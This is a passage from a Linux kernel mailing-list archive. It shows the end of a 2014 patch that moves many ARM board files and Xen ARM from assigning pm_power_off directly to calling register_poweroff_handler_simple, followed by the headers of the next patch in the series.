@@ -521,7 +521,7 @@ static void gsia18s_power_off(void)
 
 static int __init gsia18s_power_off_init(void)
 {
-	pm_power_off = gsia18s_power_off;
+	register_poweroff_handler_simple(gsia18s_power_off, 128);
 	return 0;
 }
 
diff --git a/arch/arm/mach-at91/setup.c b/arch/arm/mach-at91/setup.c
index f7a07a5..9989e88 100644
--- a/arch/arm/mach-at91/setup.c
+++ b/arch/arm/mach-at91/setup.c
@@ -329,7 +329,7 @@ void __init at91_ioremap_shdwc(u32 base_addr)
 	at91_shdwc_base = ioremap(base_addr, 16);
 	if (!at91_shdwc_base)
 		panic("Impossible to ioremap at91_shdwc_base\n");
-	pm_power_off = at91sam9_poweroff;
+	register_poweroff_handler_simple(at91sam9_poweroff, 128);
 }
 
 void __iomem *at91_rstc_base;
@@ -482,7 +482,7 @@ static void at91_dt_shdwc(void)
 	at91_shdwc_write(AT91_SHDW_MR, wakeup_mode | mode);
 
 end:
-	pm_power_off = at91sam9_poweroff;
+	register_poweroff_handler_simple(at91sam9_poweroff, 128);
 
 	of_node_put(np);
 }
diff --git a/arch/arm/mach-bcm/board_bcm2835.c b/arch/arm/mach-bcm/board_bcm2835.c
index 70f2f39..7d5784f 100644
--- a/arch/arm/mach-bcm/board_bcm2835.c
+++ b/arch/arm/mach-bcm/board_bcm2835.c
@@ -111,7 +111,7 @@ static void __init bcm2835_init(void)
 
 	bcm2835_setup_restart();
 	if (wdt_regs)
-		pm_power_off = bcm2835_power_off;
+		register_poweroff_handler_simple(bcm2835_power_off, 0);
 
 	bcm2835_init_clocks();
 
diff --git a/arch/arm/mach-cns3xxx/cns3420vb.c b/arch/arm/mach-cns3xxx/cns3420vb.c
index d863d87..136b7c6 100644
--- a/arch/arm/mach-cns3xxx/cns3420vb.c
+++ b/arch/arm/mach-cns3xxx/cns3420vb.c
@@ -224,7 +224,7 @@ static void __init cns3420_init(void)
 	cns3xxx_ahci_init();
 	cns3xxx_sdhci_init();
 
-	pm_power_off = cns3xxx_power_off;
+	register_poweroff_handler_simple(cns3xxx_power_off, 128);
 }
 
 static struct map_desc cns3420_io_desc[] __initdata = {
diff --git a/arch/arm/mach-cns3xxx/core.c b/arch/arm/mach-cns3xxx/core.c
index f85449a..79e6ead 100644
--- a/arch/arm/mach-cns3xxx/core.c
+++ b/arch/arm/mach-cns3xxx/core.c
@@ -386,7 +386,7 @@ static void __init cns3xxx_init(void)
 		cns3xxx_pwr_soft_rst(CNS3XXX_PWR_SOFTWARE_RST(SDIO));
 	}
 
-	pm_power_off = cns3xxx_power_off;
+	register_poweroff_handler_simple(cns3xxx_power_off, 128);
 
 	of_platform_populate(NULL, of_default_bus_match_table,
                         cns3xxx_auxdata, NULL);
diff --git a/arch/arm/mach-highbank/highbank.c b/arch/arm/mach-highbank/highbank.c
index 8c35ae4..25d0134 100644
--- a/arch/arm/mach-highbank/highbank.c
+++ b/arch/arm/mach-highbank/highbank.c
@@ -155,7 +155,7 @@ static void __init highbank_init(void)
 	sregs_base = of_iomap(np, 0);
 	WARN_ON(!sregs_base);
 
-	pm_power_off = highbank_power_off;
+	register_poweroff_handler_simple(highbank_power_off, 0);
 	highbank_pm_init();
 
 	bus_register_notifier(&platform_bus_type, &highbank_platform_nb);
diff --git a/arch/arm/mach-imx/mach-mx31moboard.c b/arch/arm/mach-imx/mach-mx31moboard.c
index bb6f8a5..9b3616f 100644
--- a/arch/arm/mach-imx/mach-mx31moboard.c
+++ b/arch/arm/mach-imx/mach-mx31moboard.c
@@ -559,7 +559,7 @@ static void __init mx31moboard_init(void)
 
 	imx_add_platform_device("imx_mc13783", 0, NULL, 0, NULL, 0);
 
-	pm_power_off = mx31moboard_poweroff;
+	register_poweroff_handler_simple(mx31moboard_poweroff, 128);
 
 	switch (mx31moboard_baseboard) {
 	case MX31NOBOARD:
diff --git a/arch/arm/mach-iop32x/em7210.c b/arch/arm/mach-iop32x/em7210.c
index 77e1ff0..beeeb0c2 100644
--- a/arch/arm/mach-iop32x/em7210.c
+++ b/arch/arm/mach-iop32x/em7210.c
@@ -201,7 +201,7 @@ static int __init em7210_request_gpios(void)
 		return 0;
 	}
 
-	pm_power_off = em7210_power_off;
+	register_poweroff_handler_simple(em7210_power_off, 128);
 
 	return 0;
 }
diff --git a/arch/arm/mach-iop32x/glantank.c b/arch/arm/mach-iop32x/glantank.c
index 547b234..050a8e6 100644
--- a/arch/arm/mach-iop32x/glantank.c
+++ b/arch/arm/mach-iop32x/glantank.c
@@ -199,7 +199,7 @@ static void __init glantank_init_machine(void)
 	i2c_register_board_info(0, glantank_i2c_devices,
 		ARRAY_SIZE(glantank_i2c_devices));
 
-	pm_power_off = glantank_power_off;
+	register_poweroff_handler_simple(glantank_power_off, 128);
 }
 
 MACHINE_START(GLANTANK, "GLAN Tank")
diff --git a/arch/arm/mach-iop32x/iq31244.c b/arch/arm/mach-iop32x/iq31244.c
index 0e1392b..4e9b972 100644
--- a/arch/arm/mach-iop32x/iq31244.c
+++ b/arch/arm/mach-iop32x/iq31244.c
@@ -293,7 +293,7 @@ static void __init iq31244_init_machine(void)
 	platform_device_register(&iop3xx_dma_1_channel);
 
 	if (is_ep80219())
-		pm_power_off = ep80219_power_off;
+		register_poweroff_handler_simple(ep80219_power_off, 128);
 
 	if (!is_80219())
 		platform_device_register(&iop3xx_aau_channel);
diff --git a/arch/arm/mach-iop32x/n2100.c b/arch/arm/mach-iop32x/n2100.c
index c1cd80e..171d496 100644
--- a/arch/arm/mach-iop32x/n2100.c
+++ b/arch/arm/mach-iop32x/n2100.c
@@ -356,7 +356,7 @@ static void __init n2100_init_machine(void)
 	i2c_register_board_info(0, n2100_i2c_devices,
 		ARRAY_SIZE(n2100_i2c_devices));
 
-	pm_power_off = n2100_power_off;
+	register_poweroff_handler_simple(n2100_power_off, 128);
 }
 
 MACHINE_START(N2100, "Thecus N2100")
diff --git a/arch/arm/mach-ixp4xx/dsmg600-setup.c b/arch/arm/mach-ixp4xx/dsmg600-setup.c
index 43ee06d..6fb5072 100644
--- a/arch/arm/mach-ixp4xx/dsmg600-setup.c
+++ b/arch/arm/mach-ixp4xx/dsmg600-setup.c
@@ -281,7 +281,7 @@ static void __init dsmg600_init(void)
 
 	platform_add_devices(dsmg600_devices, ARRAY_SIZE(dsmg600_devices));
 
-	pm_power_off = dsmg600_power_off;
+	register_poweroff_handler_simple(dsmg600_power_off, 128);
 }
 
 MACHINE_START(DSMG600, "D-Link DSM-G600 RevA")
diff --git a/arch/arm/mach-ixp4xx/nas100d-setup.c b/arch/arm/mach-ixp4xx/nas100d-setup.c
index 4e0f762..bd9a8d6 100644
--- a/arch/arm/mach-ixp4xx/nas100d-setup.c
+++ b/arch/arm/mach-ixp4xx/nas100d-setup.c
@@ -292,7 +292,7 @@ static void __init nas100d_init(void)
 
 	platform_add_devices(nas100d_devices, ARRAY_SIZE(nas100d_devices));
 
-	pm_power_off = nas100d_power_off;
+	register_poweroff_handler_simple(nas100d_power_off, 128);
 
 	if (request_irq(gpio_to_irq(NAS100D_RB_GPIO), &nas100d_reset_handler,
 		IRQF_TRIGGER_LOW, "NAS100D reset button", NULL) < 0) {
diff --git a/arch/arm/mach-ixp4xx/nslu2-setup.c b/arch/arm/mach-ixp4xx/nslu2-setup.c
index 88c025f..c4c5475 100644
--- a/arch/arm/mach-ixp4xx/nslu2-setup.c
+++ b/arch/arm/mach-ixp4xx/nslu2-setup.c
@@ -262,7 +262,7 @@ static void __init nslu2_init(void)
 
 	platform_add_devices(nslu2_devices, ARRAY_SIZE(nslu2_devices));
 
-	pm_power_off = nslu2_power_off;
+	register_poweroff_handler_simple(nslu2_power_off, 128);
 
 	if (request_irq(gpio_to_irq(NSLU2_RB_GPIO), &nslu2_reset_handler,
 		IRQF_TRIGGER_LOW, "NSLU2 reset button", NULL) < 0) {
diff --git a/arch/arm/mach-omap2/board-omap3touchbook.c b/arch/arm/mach-omap2/board-omap3touchbook.c
index 70b904c..0c0a0e2 100644
--- a/arch/arm/mach-omap2/board-omap3touchbook.c
+++ b/arch/arm/mach-omap2/board-omap3touchbook.c
@@ -344,7 +344,7 @@ static void __init omap3_touchbook_init(void)
 {
 	omap3_mux_init(board_mux, OMAP_PACKAGE_CBB);
 
-	pm_power_off = omap3_touchbook_poweroff;
+	register_poweroff_handler_simple(omap3_touchbook_poweroff, 128);
 
 	if (system_rev >= 0x20 && system_rev <= 0x34301000) {
 		omap_mux_init_gpio(23, OMAP_PIN_INPUT);
diff --git a/arch/arm/mach-orion5x/board-mss2.c b/arch/arm/mach-orion5x/board-mss2.c
index 66f9c3b..3840d66 100644
--- a/arch/arm/mach-orion5x/board-mss2.c
+++ b/arch/arm/mach-orion5x/board-mss2.c
@@ -86,5 +86,5 @@ static void mss2_power_off(void)
 void __init mss2_init(void)
 {
 	/* register mss2 specific power-off method */
-	pm_power_off = mss2_power_off;
+	register_poweroff_handler_simple(mss2_power_off, 0);
 }
diff --git a/arch/arm/mach-orion5x/dns323-setup.c b/arch/arm/mach-orion5x/dns323-setup.c
index 56edeab..353ca3d 100644
--- a/arch/arm/mach-orion5x/dns323-setup.c
+++ b/arch/arm/mach-orion5x/dns323-setup.c
@@ -669,7 +669,7 @@ static void __init dns323_init(void)
 		if (gpio_request(DNS323_GPIO_POWER_OFF, "POWEROFF") != 0 ||
 		    gpio_direction_output(DNS323_GPIO_POWER_OFF, 0) != 0)
 			pr_err("DNS-323: failed to setup power-off GPIO\n");
-		pm_power_off = dns323a_power_off;
+		register_poweroff_handler_simple(dns323a_power_off, 128);
 		break;
 	case DNS323_REV_B1:
 		/* 5182 built-in SATA init */
@@ -686,7 +686,7 @@ static void __init dns323_init(void)
 		if (gpio_request(DNS323_GPIO_POWER_OFF, "POWEROFF") != 0 ||
 		    gpio_direction_output(DNS323_GPIO_POWER_OFF, 0) != 0)
 			pr_err("DNS-323: failed to setup power-off GPIO\n");
-		pm_power_off = dns323b_power_off;
+		register_poweroff_handler_simple(dns323b_power_off, 128);
 		break;
 	case DNS323_REV_C1:
 		/* 5182 built-in SATA init */
@@ -696,7 +696,7 @@ static void __init dns323_init(void)
 		if (gpio_request(DNS323C_GPIO_POWER_OFF, "POWEROFF") != 0 ||
 		    gpio_direction_output(DNS323C_GPIO_POWER_OFF, 0) != 0)
 			pr_err("DNS-323: failed to setup power-off GPIO\n");
-		pm_power_off = dns323c_power_off;
+		register_poweroff_handler_simple(dns323c_power_off, 128);
 
 		/* Now, -this- should theorically be done by the sata_mv driver
 		 * once I figure out what's going on there. Maybe the behaviour
diff --git a/arch/arm/mach-orion5x/kurobox_pro-setup.c b/arch/arm/mach-orion5x/kurobox_pro-setup.c
index fe6a48a..c4101f1 100644
--- a/arch/arm/mach-orion5x/kurobox_pro-setup.c
+++ b/arch/arm/mach-orion5x/kurobox_pro-setup.c
@@ -376,7 +376,7 @@ static void __init kurobox_pro_init(void)
 	i2c_register_board_info(0, &kurobox_pro_i2c_rtc, 1);
 
 	/* register Kurobox Pro specific power-off method */
-	pm_power_off = kurobox_pro_power_off;
+	register_poweroff_handler_simple(kurobox_pro_power_off, 128);
 }
 
 #ifdef CONFIG_MACH_KUROBOX_PRO
diff --git a/arch/arm/mach-orion5x/ls-chl-setup.c b/arch/arm/mach-orion5x/ls-chl-setup.c
index 028ea03..005bb04 100644
--- a/arch/arm/mach-orion5x/ls-chl-setup.c
+++ b/arch/arm/mach-orion5x/ls-chl-setup.c
@@ -312,7 +312,7 @@ static void __init lschl_init(void)
 	gpio_set_value(LSCHL_GPIO_USB_POWER, 1);
 
 	/* register power-off method */
-	pm_power_off = lschl_power_off;
+	register_poweroff_handler_simple(lschl_power_off, 0);
 
 	pr_info("%s: finished\n", __func__);
 }
diff --git a/arch/arm/mach-orion5x/ls_hgl-setup.c b/arch/arm/mach-orion5x/ls_hgl-setup.c
index 32b7129..37c29a0 100644
--- a/arch/arm/mach-orion5x/ls_hgl-setup.c
+++ b/arch/arm/mach-orion5x/ls_hgl-setup.c
@@ -259,7 +259,7 @@ static void __init ls_hgl_init(void)
 	gpio_set_value(LS_HGL_GPIO_USB_POWER, 1);
 
 	/* register power-off method */
-	pm_power_off = ls_hgl_power_off;
+	register_poweroff_handler_simple(ls_hgl_power_off, 0);
 
 	pr_info("%s: finished\n", __func__);
 }
diff --git a/arch/arm/mach-orion5x/lsmini-setup.c b/arch/arm/mach-orion5x/lsmini-setup.c
index a6493e7..ffec72f 100644
--- a/arch/arm/mach-orion5x/lsmini-setup.c
+++ b/arch/arm/mach-orion5x/lsmini-setup.c
@@ -260,7 +260,7 @@ static void __init lsmini_init(void)
 	gpio_set_value(LSMINI_GPIO_USB_POWER, 1);
 
 	/* register power-off method */
-	pm_power_off = lsmini_power_off;
+	register_poweroff_handler_simple(lsmini_power_off, 0);
 
 	pr_info("%s: finished\n", __func__);
 }
diff --git a/arch/arm/mach-orion5x/mv2120-setup.c b/arch/arm/mach-orion5x/mv2120-setup.c
index e032f01..dadc2b9 100644
--- a/arch/arm/mach-orion5x/mv2120-setup.c
+++ b/arch/arm/mach-orion5x/mv2120-setup.c
@@ -225,7 +225,7 @@ static void __init mv2120_init(void)
 	if (gpio_request(MV2120_GPIO_POWER_OFF, "POWEROFF") != 0 ||
 	    gpio_direction_output(MV2120_GPIO_POWER_OFF, 1) != 0)
 		pr_err("mv2120: failed to setup power-off GPIO\n");
-	pm_power_off = mv2120_power_off;
+	register_poweroff_handler_simple(mv2120_power_off, 128);
 }
 
 /* Warning: HP uses a wrong mach-type (=526) in their bootloader */
diff --git a/arch/arm/mach-orion5x/net2big-setup.c b/arch/arm/mach-orion5x/net2big-setup.c
index ba73dc7..3a73dce 100644
--- a/arch/arm/mach-orion5x/net2big-setup.c
+++ b/arch/arm/mach-orion5x/net2big-setup.c
@@ -413,7 +413,7 @@ static void __init net2big_init(void)
 
 	if (gpio_request(NET2BIG_GPIO_POWER_OFF, "power-off") == 0 &&
 	    gpio_direction_output(NET2BIG_GPIO_POWER_OFF, 0) == 0)
-		pm_power_off = net2big_power_off;
+		register_poweroff_handler_simple(net2big_power_off, 128);
 	else
 		pr_err("net2big: failed to configure power-off GPIO\n");
 
diff --git a/arch/arm/mach-orion5x/terastation_pro2-setup.c b/arch/arm/mach-orion5x/terastation_pro2-setup.c
index 6208d12..2a234cb 100644
--- a/arch/arm/mach-orion5x/terastation_pro2-setup.c
+++ b/arch/arm/mach-orion5x/terastation_pro2-setup.c
@@ -353,7 +353,7 @@ static void __init tsp2_init(void)
 	i2c_register_board_info(0, &tsp2_i2c_rtc, 1);
 
 	/* register Terastation Pro II specific power-off method */
-	pm_power_off = tsp2_power_off;
+	register_poweroff_handler_simple(tsp2_power_off, 128);
 }
 
 MACHINE_START(TERASTATION_PRO2, "Buffalo Terastation Pro II/Live")
diff --git a/arch/arm/mach-orion5x/ts209-setup.c b/arch/arm/mach-orion5x/ts209-setup.c
index 9136797..50bdfbc 100644
--- a/arch/arm/mach-orion5x/ts209-setup.c
+++ b/arch/arm/mach-orion5x/ts209-setup.c
@@ -318,7 +318,7 @@ static void __init qnap_ts209_init(void)
 	i2c_register_board_info(0, &qnap_ts209_i2c_rtc, 1);
 
 	/* register tsx09 specific power-off method */
-	pm_power_off = qnap_tsx09_power_off;
+	register_poweroff_handler_simple(qnap_tsx09_power_off, 128);
 }
 
 MACHINE_START(TS209, "QNAP TS-109/TS-209")
diff --git a/arch/arm/mach-orion5x/ts409-setup.c b/arch/arm/mach-orion5x/ts409-setup.c
index 5c079d31..06a7cc0 100644
--- a/arch/arm/mach-orion5x/ts409-setup.c
+++ b/arch/arm/mach-orion5x/ts409-setup.c
@@ -307,7 +307,7 @@ static void __init qnap_ts409_init(void)
 	platform_device_register(&ts409_leds);
 
 	/* register tsx09 specific power-off method */
-	pm_power_off = qnap_tsx09_power_off;
+	register_poweroff_handler_simple(qnap_tsx09_power_off, 128);
 }
 
 MACHINE_START(TS409, "QNAP TS-409")
diff --git a/arch/arm/mach-pxa/corgi.c b/arch/arm/mach-pxa/corgi.c
index 06022b2..a93bac0 100644
--- a/arch/arm/mach-pxa/corgi.c
+++ b/arch/arm/mach-pxa/corgi.c
@@ -718,7 +718,7 @@ static void corgi_restart(enum reboot_mode mode, const char *cmd)
 
 static void __init corgi_init(void)
 {
-	pm_power_off = corgi_poweroff;
+	register_poweroff_handler_simple(corgi_poweroff, 0);
 
 	/* Stop 3.6MHz and drive HIGH to PCMCIA and CS */
 	PCFR |= PCFR_OPDE;
diff --git a/arch/arm/mach-pxa/mioa701.c b/arch/arm/mach-pxa/mioa701.c
index 29997bd..c4345a4 100644
--- a/arch/arm/mach-pxa/mioa701.c
+++ b/arch/arm/mach-pxa/mioa701.c
@@ -750,7 +750,7 @@ static void __init mioa701_machine_init(void)
 	pxa_set_keypad_info(&mioa701_keypad_info);
 	pxa_set_udc_info(&mioa701_udc_info);
 	pxa_set_ac97_info(&mioa701_ac97_info);
-	pm_power_off = mioa701_poweroff;
+	register_poweroff_handler_simple(mioa701_poweroff, 0);
 	platform_add_devices(devices, ARRAY_SIZE(devices));
 	gsm_init();
 
diff --git a/arch/arm/mach-pxa/poodle.c b/arch/arm/mach-pxa/poodle.c
index 1319916..c9536ed 100644
--- a/arch/arm/mach-pxa/poodle.c
+++ b/arch/arm/mach-pxa/poodle.c
@@ -432,7 +432,7 @@ static void __init poodle_init(void)
 {
 	int ret = 0;
 
-	pm_power_off = poodle_poweroff;
+	register_poweroff_handler_simple(poodle_poweroff, 0);
 
 	PCFR |= PCFR_OPDE;
 
diff --git a/arch/arm/mach-pxa/spitz.c b/arch/arm/mach-pxa/spitz.c
index 840c3a4..09f0de8 100644
--- a/arch/arm/mach-pxa/spitz.c
+++ b/arch/arm/mach-pxa/spitz.c
@@ -944,7 +944,7 @@ static void spitz_restart(enum reboot_mode mode, const char *cmd)
 static void __init spitz_init(void)
 {
 	init_gpio_reset(SPITZ_GPIO_ON_RESET, 1, 0);
-	pm_power_off = spitz_poweroff;
+	register_poweroff_handler_simple(spitz_poweroff, 0);
 
 	PMCR = 0x00;
 
diff --git a/arch/arm/mach-pxa/tosa.c b/arch/arm/mach-pxa/tosa.c
index c158a6e..3a4af1d 100644
--- a/arch/arm/mach-pxa/tosa.c
+++ b/arch/arm/mach-pxa/tosa.c
@@ -940,7 +940,7 @@ static void __init tosa_init(void)
 
 	init_gpio_reset(TOSA_GPIO_ON_RESET, 0, 0);
 
-	pm_power_off = tosa_poweroff;
+	register_poweroff_handler_simple(tosa_poweroff, 0);
 
 	PCFR |= PCFR_OPDE;
 
diff --git a/arch/arm/mach-pxa/viper.c b/arch/arm/mach-pxa/viper.c
index de3b080..679c8ea 100644
--- a/arch/arm/mach-pxa/viper.c
+++ b/arch/arm/mach-pxa/viper.c
@@ -919,7 +919,7 @@ static void __init viper_init(void)
 {
 	u8 version;
 
-	pm_power_off = viper_power_off;
+	register_poweroff_handler_simple(viper_power_off, 128);
 
 	pxa2xx_mfp_config(ARRAY_AND_SIZE(viper_pin_config));
 
diff --git a/arch/arm/mach-pxa/z2.c b/arch/arm/mach-pxa/z2.c
index e1a121b..e0195ac 100644
--- a/arch/arm/mach-pxa/z2.c
+++ b/arch/arm/mach-pxa/z2.c
@@ -693,8 +693,6 @@ static void z2_power_off(void)
 	pxa27x_set_pwrmode(PWRMODE_DEEPSLEEP);
 	pxa27x_cpu_pm_enter(PM_SUSPEND_MEM);
 }
-#else
-#define z2_power_off   NULL
 #endif
 
 /******************************************************************************
@@ -719,7 +717,9 @@ static void __init z2_init(void)
 	z2_keys_init();
 	z2_pmic_init();
 
-	pm_power_off = z2_power_off;
+#ifdef CONFIG_PM
+	register_poweroff_handler_simple(z2_power_off, 0);
+#endif
 }
 
 MACHINE_START(ZIPIT2, "Zipit Z2")
diff --git a/arch/arm/mach-pxa/zeus.c b/arch/arm/mach-pxa/zeus.c
index 205f9bf..6118fd5 100644
--- a/arch/arm/mach-pxa/zeus.c
+++ b/arch/arm/mach-pxa/zeus.c
@@ -690,8 +690,6 @@ static void zeus_power_off(void)
 	local_irq_disable();
 	cpu_suspend(PWRMODE_DEEPSLEEP, pxa27x_finish_suspend);
 }
-#else
-#define zeus_power_off   NULL
 #endif
 
 #ifdef CONFIG_APM_EMULATION
@@ -847,7 +845,9 @@ static void __init zeus_init(void)
 	__raw_writel(msc0, MSC0);
 	__raw_writel(msc1, MSC1);
 
-	pm_power_off = zeus_power_off;
+#ifdef CONFIG_PM
+	register_poweroff_handler_simple(zeus_power_off, 0);
+#endif
 	zeus_setup_apm();
 
 	pxa2xx_mfp_config(ARRAY_AND_SIZE(zeus_pin_config));
diff --git a/arch/arm/mach-s3c24xx/mach-gta02.c b/arch/arm/mach-s3c24xx/mach-gta02.c
index fc3a08d..ca78150 100644
--- a/arch/arm/mach-s3c24xx/mach-gta02.c
+++ b/arch/arm/mach-s3c24xx/mach-gta02.c
@@ -579,7 +579,7 @@ static void __init gta02_machine_init(void)
 	i2c_register_board_info(0, gta02_i2c_devs, ARRAY_SIZE(gta02_i2c_devs));
 
 	platform_add_devices(gta02_devices, ARRAY_SIZE(gta02_devices));
-	pm_power_off = gta02_poweroff;
+	register_poweroff_handler_simple(gta02_poweroff, 128);
 
 	regulator_has_full_constraints();
 }
diff --git a/arch/arm/mach-s3c24xx/mach-jive.c b/arch/arm/mach-s3c24xx/mach-jive.c
index 7804d3c..5a828a3 100644
--- a/arch/arm/mach-s3c24xx/mach-jive.c
+++ b/arch/arm/mach-s3c24xx/mach-jive.c
@@ -657,7 +657,7 @@ static void __init jive_machine_init(void)
 	s3c_i2c0_set_platdata(&jive_i2c_cfg);
 	i2c_register_board_info(0, jive_i2c_devs, ARRAY_SIZE(jive_i2c_devs));
 
-	pm_power_off = jive_power_off;
+	register_poweroff_handler_simple(jive_power_off, 128);
 
 	platform_add_devices(jive_devices, ARRAY_SIZE(jive_devices));
 }
diff --git a/arch/arm/mach-s3c24xx/mach-vr1000.c b/arch/arm/mach-s3c24xx/mach-vr1000.c
index f88c584..40d7655 100644
--- a/arch/arm/mach-s3c24xx/mach-vr1000.c
+++ b/arch/arm/mach-s3c24xx/mach-vr1000.c
@@ -306,7 +306,7 @@ static void vr1000_power_off(void)
 
 static void __init vr1000_map_io(void)
 {
-	pm_power_off = vr1000_power_off;
+	register_poweroff_handler_simple(vr1000_power_off, 128);
 
 	s3c24xx_init_io(vr1000_iodesc, ARRAY_SIZE(vr1000_iodesc));
 	s3c24xx_init_uarts(vr1000_uartcfgs, ARRAY_SIZE(vr1000_uartcfgs));
diff --git a/arch/arm/mach-s3c64xx/mach-smartq.c b/arch/arm/mach-s3c64xx/mach-smartq.c
index b3d1353..61f0893 100644
--- a/arch/arm/mach-s3c64xx/mach-smartq.c
+++ b/arch/arm/mach-s3c64xx/mach-smartq.c
@@ -291,7 +291,7 @@ static int __init smartq_power_off_init(void)
 	/* leave power on */
 	gpio_direction_output(S3C64XX_GPK(15), 0);
 
-	pm_power_off = smartq_power_off;
+	register_poweroff_handler_simple(smartq_power_off, 128);
 
 	return ret;
 }
diff --git a/arch/arm/mach-sa1100/generic.c b/arch/arm/mach-sa1100/generic.c
index d4ea142..6b839cf 100644
--- a/arch/arm/mach-sa1100/generic.c
+++ b/arch/arm/mach-sa1100/generic.c
@@ -311,7 +311,7 @@ static struct platform_device *sa11x0_devices[] __initdata = {
 
 static int __init sa1100_init(void)
 {
-	pm_power_off = sa1100_power_off;
+	register_poweroff_handler_simple(sa1100_power_off, 0);
 	return platform_add_devices(sa11x0_devices, ARRAY_SIZE(sa11x0_devices));
 }
 
diff --git a/arch/arm/mach-sa1100/simpad.c b/arch/arm/mach-sa1100/simpad.c
index 41e476e..a65ca58 100644
--- a/arch/arm/mach-sa1100/simpad.c
+++ b/arch/arm/mach-sa1100/simpad.c
@@ -373,7 +373,7 @@ static int __init simpad_init(void)
 	if (ret)
 		printk(KERN_WARNING "simpad: Unable to register cs3 GPIO device");
 
-	pm_power_off = simpad_power_off;
+	register_poweroff_handler_simple(simpad_power_off, 0);
 
 	sa11x0_ppc_configure_mcp();
 	sa11x0_register_mtd(&simpad_flash_data, simpad_flash_resources,
diff --git a/arch/arm/mach-u300/regulator.c b/arch/arm/mach-u300/regulator.c
index 0493a84..c98eb6e 100644
--- a/arch/arm/mach-u300/regulator.c
+++ b/arch/arm/mach-u300/regulator.c
@@ -98,7 +98,7 @@ static int __init __u300_init_boardpower(struct platform_device *pdev)
 			   U300_SYSCON_PMCR_DCON_ENABLE, 0);
 
 	/* Register globally exported PM poweroff hook */
-	pm_power_off = u300_pm_poweroff;
+	register_poweroff_handler_simple(u300_pm_poweroff, 128);
 
 	return 0;
 }
diff --git a/arch/arm/mach-vt8500/vt8500.c b/arch/arm/mach-vt8500/vt8500.c
index 2da7be3..515946b 100644
--- a/arch/arm/mach-vt8500/vt8500.c
+++ b/arch/arm/mach-vt8500/vt8500.c
@@ -155,7 +155,7 @@ static void __init vt8500_init(void)
 			pr_err("%s:ioremap(power_off) failed\n", __func__);
 	}
 	if (pmc_base)
-		pm_power_off = &vt8500_power_off;
+		register_poweroff_handler_simple(vt8500_power_off, 0);
 	else
 		pr_err("%s: PMC Hibernation register could not be remapped, not enabling power off!\n", __func__);
 
diff --git a/arch/arm/xen/enlighten.c b/arch/arm/xen/enlighten.c
index 0e15f01..0da639b 100644
--- a/arch/arm/xen/enlighten.c
+++ b/arch/arm/xen/enlighten.c
@@ -336,7 +336,7 @@ static int __init xen_pm_init(void)
 	if (!xen_domain())
 		return -ENODEV;
 
-	pm_power_off = xen_power_off;
+	register_poweroff_handler_simple(xen_power_off, 128);
 	arm_pm_restart = xen_restart;
 
 	return 0;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 38/44] x86: lguest: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:40 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <1412659726-29957-39-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659867 26552 80.91.229.3 (7 Oct 2014 05:31:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:07 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Rusty Russel
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 07 07:30:58 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XbNMO-00038k-8T
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Oct 2014 07:30:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753899AbaJGFak (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:40 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40969 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753823AbaJGFab (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Oct 2014 01:30:31 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=PZVELofjdx8WYrcOi0JR69AzpR50mbi4EiNWCHmtVY4=;
